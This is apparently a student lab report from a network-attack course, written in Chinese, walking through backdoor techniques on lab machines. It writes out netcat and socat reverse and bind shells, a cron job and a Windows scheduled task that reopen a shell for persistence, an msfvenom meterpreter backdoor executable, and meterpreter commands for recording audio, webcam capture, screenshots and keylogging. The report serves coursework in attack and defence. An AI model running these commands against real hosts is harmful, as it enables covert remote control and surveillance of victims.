20145237《网络对抗》Exp2 后门原理与实践

Windows获得Linux Shell

在Windows下,先使用ipconfig指令查看本机IP:

输入ncat.exe -l -p 5237使用ncat.exe程序监听本机的5237端口:

20145237 Exp2 后门原理与实践-LMLPHP

在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5237端口:
20145237 Exp2 后门原理与实践-LMLPHP

Windows下成功获得了一个Kali的shell,运行ls指令如下:

20145237 Exp2 后门原理与实践-LMLPHP

Linux获得Windows Shell

过程与之前的类似,在Kali环境下用ifconfig查看IP:

20145237 Exp2 后门原理与实践-LMLPHP

使用nc -l -p 5237指令监听5237端口:

在Windows下,输入ncat.exe -e cmd.exe 192.168.35.128 5237使用ncat.exe程序的-e选项项反向连接Kali主机的5237端口:

20145237 Exp2 后门原理与实践-LMLPHP

Kali下可以看到Windows的命令提示,可以输入Windows命令:

20145237 Exp2 后门原理与实践-LMLPHP

使用netcat获取主机操作Shell,cron启动

实验内容
先在Windows系统下,用`ncat.exe -l -p 5237,监听5237端口

用crontab -e指令编辑一条定时任务(输入3,选vim.basic)

在最后一行添加30 * * * * /bin/netcat 192.168.1.200 5237 -e /bin/sh,意思是在每个小时的第30分钟反向连接Windows主机的5237端口(设置成30的原因是我当时的时间是28分):
20145237 Exp2 后门原理与实践-LMLPHP

使用socat获取主机操作Shell, 任务计划启动

20145237 Exp2 后门原理与实践-LMLPHP

使用socat获取主机操作Shell, 任务计划启动

实践过程

在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:

20145237 Exp2 后门原理与实践-LMLPHP
在操作->程序或脚本中选择你socat.exe文件的路径,在添加参数一栏填写tcp-listen:5237 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5237,同时把cmd.exestderr重定向到stdout上:

20145237 Exp2 后门原理与实践-LMLPHP

创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:

20145237 Exp2 后门原理与实践-LMLPHP

此时,在Kali环境下输入指令socat - tcp:192.168.1.200:5237,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5237端口,此时可以发现已经成功获得了一个cmd shell:
20145237 Exp2 后门原理与实践-LMLPHP

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.86.129 LPORT=5237 -f exe > 20145237_backdoor.exe生成后门程序:
20145237 Exp2 后门原理与实践-LMLPHP

通过nc指令将生成的后门程序传送到Windows主机上:
windows:ncat.exe -l 5237 > 20145237.exe

kali:nc 192.168.1.100 5237 < 20145237.exe

在Kali上使用msfconsole指令进入msf控制台,set payload windows/meterpreter/reverse_tcp,使用监听模块,设置payload,设置反弹回连的IP和端口

设置完成后,执行监听:
20145237 Exp2 后门原理与实践-LMLPHP

打开Windows上的后门程序:

此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

20145237 Exp2 后门原理与实践-LMLPHP

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

使用record_mic指令可以截获一段音频:

使用webcam_snap指令可以使用摄像头进行拍照:
20145237 Exp2 后门原理与实践-LMLPHP

使用webcam stream指令可以使用摄像头进行录像:

使用screenshot指令可以进行截屏:

使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

05-11 18:26